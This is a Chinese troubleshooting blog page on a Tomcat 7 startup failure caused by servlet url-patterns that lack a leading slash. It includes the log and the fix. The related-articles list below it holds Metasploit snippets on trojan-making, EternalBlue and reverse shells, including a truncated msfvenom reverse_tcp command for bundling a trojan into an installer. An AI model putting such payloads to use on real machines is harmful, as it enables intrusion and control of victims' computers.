tomcat启动不了问题之二

article/2025/9/29 11:47:28
十一月 13, 2013 8:36:18 上午 org.apache.catalina.core.AprLifecycleListener init
信息: The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: D:\Program Files (x86)\Java\jdk1.7.0_45\bin;C:\Windows\Sun\Java\bin;C:\Windows\system32;C:\Windows;D:/Program Files (x86)/Java/jre7/bin/client;D:/Program Files (x86)/Java/jre7/bin;D:/Program Files (x86)/Java/jre7/lib/i386;F:\app\Administrator\product\11.2.0\dbhome_1\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft\Web Platform Installer\;C:\Program Files (x86)\Microsoft ASP.NET\ASP.NET Web Pages\v1.0\;C:\Program Files (x86)\Windows Kits\8.0\Windows Performance Toolkit\;C:\Program Files\Microsoft SQL Server\110\Tools\Binn\;D:\Program Files\Java\jdk1.7.0_45\bin;F:\JAVA\part4\servlet\apache-tomcat-7.0.40\bin;D:\Program Files\bin;D:\Program Files (x86)\Subversion\bin;C:\Program Files\MPICH2\bin;F:\JAVA\part4\servlet\eclipse-jee-juno-SR2-win32\eclipse;;.
十一月 13, 2013 8:36:18 上午 org.apache.tomcat.util.digester.SetPropertiesRule begin
警告: [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'source' to 'org.eclipse.jst.jee.server:ruxin360' did not find a matching property.
十一月 13, 2013 8:36:19 上午 org.apache.coyote.AbstractProtocol init
信息: Initializing ProtocolHandler ["http-bio-80"]
十一月 13, 2013 8:36:19 上午 org.apache.coyote.AbstractProtocol init
信息: Initializing ProtocolHandler ["ajp-bio-8009"]
十一月 13, 2013 8:36:19 上午 org.apache.catalina.startup.Catalina load
信息: Initialization processed in 448 ms
十一月 13, 2013 8:36:19 上午 org.apache.catalina.core.StandardService startInternal
信息: Starting service Catalina
十一月 13, 2013 8:36:19 上午 org.apache.catalina.core.StandardEngine startInternal
信息: Starting Servlet Engine: Apache Tomcat/7.0.40
十一月 13, 2013 8:36:19 上午 org.apache.catalina.core.ApplicationContext log
信息: Marking servlet cgi as unavailable
十一月 13, 2013 8:36:19 上午 org.apache.catalina.core.StandardContext loadOnStartup
严重: Servlet  threw load() exception
java.lang.SecurityException: Restricted class org.apache.catalina.servlets.CGIServlet
at org.apache.catalina.core.DefaultInstanceManager.checkAccess(DefaultInstanceManager.java:550)
at org.apache.catalina.core.DefaultInstanceManager.checkAccess(DefaultInstanceManager.java:541)
at org.apache.catalina.core.DefaultInstanceManager.loadClassMaybePrivileged(DefaultInstanceManager.java:511)
at org.apache.catalina.core.DefaultInstanceManager.newInstance(DefaultInstanceManager.java:137)
at org.apache.catalina.core.StandardWrapper.loadServlet(StandardWrapper.java:1144)
at org.apache.catalina.core.StandardWrapper.load(StandardWrapper.java:1088)
at org.apache.catalina.core.StandardContext.loadOnStartup(StandardContext.java:5123)
at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5407)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1559)
at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1549)
at java.util.concurrent.FutureTask.run(FutureTask.java:262)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at java.lang.Thread.run(Thread.java:744)


十一月 13, 2013 8:36:19 上午 org.apache.catalina.core.ContainerBase startInternal
严重: A child container failed during start
java.util.concurrent.ExecutionException: org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/ruxin360]]
at java.util.concurrent.FutureTask.report(FutureTask.java:122)
at java.util.concurrent.FutureTask.get(FutureTask.java:188)
at org.apache.catalina.core.ContainerBase.startInternal(ContainerBase.java:1123)
at org.apache.catalina.core.StandardHost.startInternal(StandardHost.java:800)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1559)
at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1549)
at java.util.concurrent.FutureTask.run(FutureTask.java:262)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at java.lang.Thread.run(Thread.java:744)
Caused by: org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/ruxin360]]
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:154)
... 6 more
Caused by: java.lang.IllegalArgumentException: Invalid <url-pattern> admin/channel in servlet mapping
at org.apache.catalina.core.StandardContext.addServletMapping(StandardContext.java:3223)
at org.apache.catalina.core.StandardContext.addServletMapping(StandardContext.java:3198)
at org.apache.catalina.deploy.WebXml.configureContext(WebXml.java:1366)
at org.apache.catalina.startup.ContextConfig.webConfig(ContextConfig.java:1353)
at org.apache.catalina.startup.ContextConfig.configureStart(ContextConfig.java:878)
at org.apache.catalina.startup.ContextConfig.lifecycleEvent(ContextConfig.java:369)
at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:119)
at org.apache.catalina.util.LifecycleBase.fireLifecycleEvent(LifecycleBase.java:90)
at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5269)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
... 6 more


十一月 13, 2013 8:36:19 上午 org.apache.catalina.core.ContainerBase startInternal
严重: A child container failed during start
java.util.concurrent.ExecutionException: org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Catalina].StandardHost[localhost]]
at java.util.concurrent.FutureTask.report(FutureTask.java:122)
at java.util.concurrent.FutureTask.get(FutureTask.java:188)
at org.apache.catalina.core.ContainerBase.startInternal(ContainerBase.java:1123)
at org.apache.catalina.core.StandardEngine.startInternal(StandardEngine.java:302)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
at org.apache.catalina.core.StandardService.startInternal(StandardService.java:443)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
at org.apache.catalina.core.StandardServer.startInternal(StandardServer.java:732)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
at org.apache.catalina.startup.Catalina.start(Catalina.java:684)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:322)
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:456)
Caused by: org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Catalina].StandardHost[localhost]]
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:154)
at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1559)
at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1549)
at java.util.concurrent.FutureTask.run(FutureTask.java:262)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at java.lang.Thread.run(Thread.java:744)
Caused by: org.apache.catalina.LifecycleException: A child container failed during start
at org.apache.catalina.core.ContainerBase.startInternal(ContainerBase.java:1131)
at org.apache.catalina.core.StandardHost.startInternal(StandardHost.java:800)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
... 6 more


十一月 13, 2013 8:36:19 上午 org.apache.catalina.startup.Catalina start
严重: Catalina.start: 
org.apache.catalina.LifecycleException: Failed to start component [StandardServer[8005]]
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:154)
at org.apache.catalina.startup.Catalina.start(Catalina.java:684)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:322)
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:456)
Caused by: org.apache.catalina.LifecycleException: Failed to start component [StandardService[Catalina]]
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:154)
at org.apache.catalina.core.StandardServer.startInternal(StandardServer.java:732)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
... 7 more
Caused by: org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Catalina]]
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:154)
at org.apache.catalina.core.StandardService.startInternal(StandardService.java:443)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
... 9 more
Caused by: org.apache.catalina.LifecycleException: A child container failed during start
at org.apache.catalina.core.ContainerBase.startInternal(ContainerBase.java:1131)
at org.apache.catalina.core.StandardEngine.startInternal(StandardEngine.java:302)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
... 11 more


十一月 13, 2013 8:36:19 上午 org.apache.catalina.startup.Catalina start

信息: Server startup in 479 ms


本次问题是使用servlet3.0时使用annotation配置servlettomcat依然会在启动时检查配置servlet,像检查web.xml一样,本次没有以斜杠开头@webservlet

十一月 13, 2013 8:36:18 上午 org.apache.tomcat.util.digester.SetPropertiesRule begin
警告: [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'source' to 'org.eclipse.jst.jee.server:ruxin360' did not find a matching property.


这里有几个关键的地方:

1.servlet嘞种@webservlet的配置(/。。。。)必须要以斜杠/开头

2.web.xml中

<servlet-mapping>
<servlet-name>Kaptcha</servlet-name>
<url-pattern>/Kaptcha.jpg</url-pattern>
</servlet-mapping>

也必须要以斜杠开头

3.web.xml中

<web-app xmlns="http://java.sun.com/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
                      http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
  version="3.0"
  metadata-complete="false">
    metadata-complete="false">这里
必须为false。否则tomcat不会检查servlet中annotation的map映射配置。会直接认为你没有进行配置

。见下图为本次错误的关键位置



http://chatgpt.dhexx.cn/article/XujD6gYk.shtml

相关文章

tomcat启动失败有效解决方案

第一种&#xff1a; 对与初学者经常会碰到一个问题就是tomcat启动失败。失败信息如下图&#xff1a; 就举例说明吧&#xff0c;我用的开发工具是eclipse。首先点击Window--Preferences 接下来搜索server 查看本地tomcat安装地址 找到该路径&#xff0c;进入bin文件夹点击shutd…

Tomcat无法启动:报出Server Tomcat v8.5 Server at localhost failed to start

1.在运行Web程序时提示弹窗Tomact启动失败 2.Console报错 解决方法&#xff1a; 1. 在下面控制台打开Servers 2.双击打开Tomcat v8.5 Server at localhost &#xff0c;并勾选圈划此项。 3.ctrlc 保存 &#xff0c;Tomcat设置修改完成。

Tomcat无法启动问题解决方案

在安装Tomcat过程中&#xff0c;一直无法安装成功&#xff0c;反反复复试了各种方法&#xff0c;断断续续花了两天时间终于解决了问题&#xff0c;现将过程记录如下供大家参考 Tomcat有两种安装方法&#xff1a; 第一种是官网下载压缩版&#xff0c;直接解压&#xff0c;需自己…

Tomcat无法成功启动的解决方案

文章目录 Tomcat无法启动的解决方案错误背景启动Tomcat提示The CATALINA_HOME environment variable is not defined correctly This environment variable is needed to run this program的解决方案浏览器访问Tomcat提示HTTP状态 500 - 内部服务器错误的解决方案浏览器访问显示…

Tomcat一直启动不成功,连接不到8080(持续更新带图解释并总结了其他博文)

1.先看日志 Windos&#xff1a; 有一个日志目录 Linux: 进入Logs&#xff0c;运行图上的命令即可 我的错误是用的是1.0JDK, 换成了1.8就没问题了 2、其他伙伴出现的问题与解决方法&#xff08;转载&#xff09; 1、java配置路径有问题 请配置好jdk路径&#xff0c;具体参…

Tomcat无法正常启动的问题

首先我的问题是Tomcat无法正常启动&#xff0c;bin目录下的startup.bat也出现闪退的情况。 解决步骤&#xff1a; 1、先检查jdk的环境变量配置: &#xff08;1&#xff09; 右击“电脑”——>“属性”——>“高级系统设置”——>点击“环境变量”——>在“系统变…

冰蝎下的反弹shell连接msfconsole

文章目录 前言一、使用木马getshell1.搭建环境 二、冰蝎配置三、kali监听总结 前言 好久没碰美少妇(MSF)了&#xff0c;恰巧昨天在群里水群&#xff0c;有个表哥问为什么msf监听不到数据。为此我带着表哥的疑问进行了简单的研究。大体的流程和思路我简单记录一下。其中的坑还是…

Metasploit使用教程(操作实例,meterpreter,msfconsole,msfcli,抓包)

1、控制Metasploit终端&#xff08;MSFCONSOLE&#xff09; MSFCONSOLE主要用于管理Metasploit数据库&#xff0c;管理会话&#xff0c;配置并启动Matasploit模块 一些通用命令&#xff1a; help&#xff1a;该命令允许用户查看执行命令的帮助信息 use module&#xff1a;该命令…

Windows上安装Metasploit-(msfconsole)

前言 平时使用metasploit一般是在kali里面&#xff0c;有时候使用非常的麻烦&#xff0c;其实Metasploit也是支持Windows的&#xff0c;关于很多metasploit的方法&#xff0c;作者觉得有点小麻烦&#xff0c;这里给大家带来一种最简单的方法。 任务一 下载metasploit metasplo…

msfconsole之制作windows木马并成功获取shell

msfconsole之制作windows木马并成功获取shell 一、工具简介     msfconsole 简称 msf 是一款常用的安全测试工具&#xff0c;包含了常见的漏洞利用模块和生成各种木马&#xff0c;其提供了一个一体化的集中控制台&#xff0c;通过msfconsole&#xff0c;你可以访问和使用所…

msfconsole使用手册

我使用ubuntu&#xff1b;在同一局域网内有一台运行Windows XP&#xff08;192.168.0.108&#xff09;的测试电脑。 本文演示怎么使用Metasploit入侵windows xp sp3。 启动msfconsole&#xff1a; # msfconsole选择一个漏洞&#xff1a; msf > search platform: windows…

msfvenom msfconsole——msfvenom生成木马入侵WinServer2008及Android手机

文章目录 一、使用环境二、msfvenom编写Trojan木马Ⅰ、电脑端.exe格式Ⅱ、移动端.apk格式 三、msfconsole控制感染对象Ⅰ、电脑端示例&#xff1a;shell获取Windows的CMDⅡ、移动端示例&#xff1a;webcam_stream获取Android摄像头实时画面 完 免责声明&#xff1a;本文章仅供网…

kali中安装使用msfconsole

在kali中执行msfconsole&#xff0c;显示没有这个命令 安装metasploit-framework框架 启动数据库 service postgresql start # 启动数据库 初始化msf数据库 启动msfconsole 成功&#xff01;&#xff01;&#xff01;

metasploit中msfconsole使用教程,永恒之蓝漏洞复现

文章目录 前言msfconsole常用参数打开和关闭search 查找模块use 使用指定模块info 查看模块的详细信息show 查看&#xff0c;set设置run 和 exploit mf17-010(永恒之蓝)漏洞复现 前言 msfconsole是metasploit中的一个工具&#xff0c;msfconsole集成了很多漏洞的利用的脚本&am…

msfconsole理论

msfconsole理论 msfconsole理论 ‍‍ 在MSF里面msfconsole可以说是最流行的一个接口程序。很多人一开始碰到msfconsole的时候就害怕了。那么多复杂的命令语句需要学习&#xff0c;但是msfconsole真的是一个强大的接口程序。Msfconsole提供了一个一体化的集中控制台。通过msfcon…

msfconsole捆绑木马

捆绑木马 这里使用的是Kali linux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.0.108 …

msfconsole 控制台使用和操作

Msfconsole提供了一个一体化的集中控制台。通过msfconsole&#xff0c;你可以访问和使用所有的metasploit的插件&#xff0c;payload&#xff0c;利用模块&#xff0c;post模块等等。Msfconsole还有第三方程序的接口&#xff0c;比如nmap&#xff0c;sqlmap等&#xff0c;可以直…

Msfconsole的基本使用

WIN XP ms12_020 复现 msfconsolesearch 查找模块use 装载模块winxp ip &#xff1a;192.168.186.133set RHOST 设置目标主机run 执行攻击目标蓝屏死机 重启常用命令show exploits 列出metasploit框架中的所有渗透攻击模块show payloads 列出metasploit框架中的所有攻击载荷sh…

metasploit msfconsole 命令参数

在MSF里面msfconsole可以说是最流行的一个接口程序。很多人一开始碰到msfconsole的时候就害怕了。那么多复杂的命令语句需要学习&#xff0c;但是msfconsole真的是一个强大的接口程序。Msfconsole提供了一个一体化的集中控制台。通过msfconsole&#xff0c;你可以访问和使用所有…

使用msfconsole常见问题解决

问题总结&#xff1a; &#xff08;其中有我遇到的问题&#xff0c;有我没有遇到的&#xff0c;但我这里总结了一下别人遇到的&#xff0c;未雨绸缪&#xff09;问题一&#xff08;这个我也遇到过&#xff0c;不过我安装了上面的win 32就没问题了&#xff09;&#xff1a;原因…